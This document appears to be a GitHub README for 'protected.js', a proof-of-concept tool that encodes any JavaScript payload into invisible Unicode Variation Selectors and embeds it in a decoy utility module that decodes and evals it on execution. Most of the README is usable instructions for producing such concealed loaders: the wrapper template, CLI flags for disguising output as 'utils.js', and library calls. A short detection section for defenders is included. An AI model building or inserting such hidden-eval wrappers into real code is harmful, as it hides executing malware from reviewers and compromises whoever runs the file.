Hide any JavaScript payload inside a legitimate-looking .js file using invisible Unicode characters
Overview • How It Works • Quick Start • Usage • API • Detection
protected.js is a proof-of-concept tool that demonstrates a JavaScript steganography technique using Unicode Variation Selectors (U+FE00–U+FE0F and U+E0100–U+E01EF).
It encodes any .js file into a sequence of completely invisible Unicode characters and embeds them inside a normal-looking JavaScript file. When executed, the hidden payload is decoded and runs transparently.
Caution
This is a security research tool. The output files are fully functional and will execute hidden code. Use responsibly and only in authorized environments.
| Feature | Description |
|---|---|
| Invisible encoding | Payload becomes 0 visible characters — undetectable in editors & terminals |
| Legitimate wrapper | Output file looks like a normal utility module with JSDoc & exports |
| Round-trip verified | Built-in integrity check ensures perfect encode/decode fidelity |
| Zero dependencies | Only native Node.js modules (fs, path) — no npm install needed |
| Full UTF-8 support | Handles non-ASCII payloads (accents, CJK, emojis) correctly |
| CLI + Library | Use standalone or require() as a module in your own tools |
Every byte of the payload (0–255) maps to an invisible Unicode codepoint:
Byte Range Unicode Range Name
────────── ───────────── ────
0x00 – 0x0F U+FE00 – U+FE0F Variation Selectors VS1–VS16
0x10 – 0xFF U+E0100 – U+E01EF Variation Selectors Supplement VS17–VS256
These codepoints render as zero-width invisible characters in every editor, terminal, and browser.
payload.js (source code)
│
▼
Buffer.from(code, 'utf-8')
│
▼
Byte array [99, 111, 110, 115, ...]
│
▼ byteToInvisible() per byte
Invisible string "󠄳󠄯󠄮..." (visually empty)
│
▼ Embedded in template literal
output_infected.js
│
▼ On execution: _proc() → Buffer → eval()
Original payload runs
The generated file is designed to look completely legitimate:
/**
* helpers.js — Utility module
* @module helpers
* @version 1.0.0
*/
const os = require('os');
const path = require('path');
// Decoder (compact, looks like a normal transform)
const _proc = v => [...v].map(w => ( /* ... */ ));
// ↓ The backticks below APPEAR empty but contain the full payload
eval(Buffer.from(_proc(` `)).toString('utf-8'));
// ↑ invisible codepoints here
// Public API (cover)
module.exports = { normalizePath, getRuntime, prettyJSON };# Clone
git clone https://github.com/KONDORDEVSECURITYCORP/protected.js.git
cd protected.js
# Run demo (creates hello_world.js → hello_world_infected.js)
node protected.js
# Execute the infected file — runs the hidden payload
node hello_world_infected.jsnode protected.js [options]| Flag | Alias | Description | Default |
|---|---|---|---|
--input <file> |
-i |
JavaScript file to hide as payload | auto-creates hello_world.js |
--out <file> |
-o |
Output file name | <input>_infected.js |
--show |
-s |
Analysis only — no file generated | false |
--help |
-h |
Show help | — |
# Default demo — encode built-in hello world
node protected.js
# Hide a custom payload
node protected.js --input payload.js
# Custom output name (disguise as a utility)
node protected.js --input payload.js --out utils.js
# Analysis only — inspect the encoding without generating a file
node protected.js --input payload.js --show [+] Payload leído: payload.js
[+] Tamaño: 243 bytes
[+] Codificación verificada (round-trip OK)
[+] 243 bytes → 243 chars invisibles
────────────────────────────────────────────────────────────────────
ANÁLISIS BYTE-A-BYTE DEL ENCODING protected
────────────────────────────────────────────────────────────────────
Char │ Dec │ Hex │ Codepoint Unicode Invisible │ Rango
c │ 99 │ 0x63 │ U+E0153 │ VS100 (U+E0100 rango alto)
o │ 111 │ 0x6F │ U+E015F │ VS112 (U+E0100 rango alto)
...
═════════════════════════════════════════════════════════════════════
RESUMEN DEL PROCESO protected
═════════════════════════════════════════════════════════════════════
Archivo de entrada: payload.js
Archivo de salida: payload_infected.js
Bytes del payload: 243 bytes
Chars invisibles: 243 codepoints Unicode
Compresión visual: 243 bytes → 0 chars visibles
Use protected.js as a library in your own Node.js tools:
const {
encodeToInvisible,
decodeFromInvisible,
buildOutputFile,
byteToInvisible
} = require('./protected');Encodes a JavaScript string into invisible Unicode characters.
const invisible = encodeToInvisible("console.log('hello')");
// invisible.length === byte count of input
// visually appears as ""| Param | Type | Description |
|---|---|---|
code |
string |
JavaScript source to encode |
| Returns | string |
Invisible Variation Selector sequence |
Decodes invisible characters back to the original JavaScript.
const original = decodeFromInvisible(invisible);
// original === "console.log('hello')"| Param | Type | Description |
|---|---|---|
invisible |
string |
Encoded invisible string |
| Returns | string |
Recovered JavaScript source |
Converts a single byte (0–255) to its invisible Unicode character.
byteToInvisible(65); // 'A' → U+E0141 (invisible)
byteToInvisible(10); // '\n' → U+FE0A (invisible)Generates the complete output file content with the embedded invisible payload.
const fs = require('fs');
const output = buildOutputFile(invisible, 'payload.js', 512);
fs.writeFileSync('output.js', output, 'utf-8');const fs = require('fs');
const { encodeToInvisible, decodeFromInvisible, buildOutputFile } = require('./protected');
// 1. Read payload
const payload = fs.readFileSync('my_payload.js', 'utf-8');
// 2. Encode to invisible
const invisible = encodeToInvisible(payload);
console.log(`${Buffer.byteLength(payload)} bytes → ${invisible.length} invisible chars`);
// 3. Verify integrity
console.log('Round-trip OK:', decodeFromInvisible(invisible) === payload);
// 4. Generate output file
const output = buildOutputFile(invisible, 'my_payload.js', Buffer.byteLength(payload));
fs.writeFileSync('legit_module.js', output, 'utf-8');
// 5. Run it
// $ node legit_module.js → executes hidden payloadFor blue teams and defenders — indicators to detect this technique:
| Indicator | How to Check |
|---|---|
| Variation Selectors in .js files | Scan for codepoints in U+FE00–U+FE0F and U+E0100–U+E01EF ranges |
| eval() with template literals | Grep for eval(Buffer.from( patterns |
| File size vs visible content | Large file size but minimal visible code is suspicious |
| _proc() decoder pattern | The compact decoder function using codePointAt + range checks |
# Find .js files containing Variation Selector codepoints
node -e "
const fs = require('fs');
const f = fs.readFileSync(process.argv[1], 'utf-8');
const vs = [...f].filter(c => {
const cp = c.codePointAt(0);
return (cp >= 0xFE00 && cp <= 0xFE0F) || (cp >= 0xE0100 && cp <= 0xE01EF);
});
console.log(vs.length ? '⚠ DETECTED: ' + vs.length + ' invisible chars' : '✓ Clean');
" target_file.js| Aspect | Detail |
|---|---|
| Encoding ratio | 1 byte → 1 invisible codepoint (no compression) |
| UTF-8 handling | Full support — accents, CJK, emojis encoded correctly |
| Surrogate pairs | High codepoints (>U+FFFF) handled via [...string] spread |
| Limitations | eval() blocked by strict CSP policies; some linters flag it |
| Cover exports | normalizePath, getRuntime, prettyJSON — functional decoy API |
Warning
This tool is provided exclusively for educational purposes and authorized security research. Using it to inject malicious payloads into software without explicit authorization is illegal. The author assumes no liability for misuse.
Developed with expertise by KONDOR DEV SECURITY CORP
MIT License © 2026